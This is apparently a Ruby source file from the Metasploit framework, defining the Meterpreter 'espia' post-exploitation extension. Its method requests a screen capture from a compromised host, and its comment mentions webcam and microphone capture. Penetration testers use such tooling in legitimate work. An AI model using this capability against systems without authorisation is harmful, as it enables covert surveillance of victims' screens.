Path: blob/master/lib/rex/post/meterpreter/extensions/espia/espia.rb
19721 views
# -*- coding: binary -*-12require 'rex/post/meterpreter/extensions/espia/tlv'3require 'rex/post/meterpreter/extensions/espia/command_ids'45module Rex6module Post7module Meterpreter8module Extensions9module Espia1011###12#13# This meterpreter extensions interface that is capable14# grab webcam frame and recor mic audio15#16###17class Espia < Extension1819def self.extension_id20EXTENSION_ID_ESPIA21end2223def initialize(client)24super(client, 'espia')2526client.register_extension_aliases(27[28{29'name' => 'espia',30'ext' => self31},32])33end3435def espia_image_get_dev_screen36request = Packet.create_request(COMMAND_ID_ESPIA_IMAGE_GET_DEV_SCREEN)37response = client.send_request( request )38if response.result == 039response.get_tlv_value(TLV_TYPE_DEV_SCREEN)40else41nil42end43end4445end4647end; end; end; end; end484950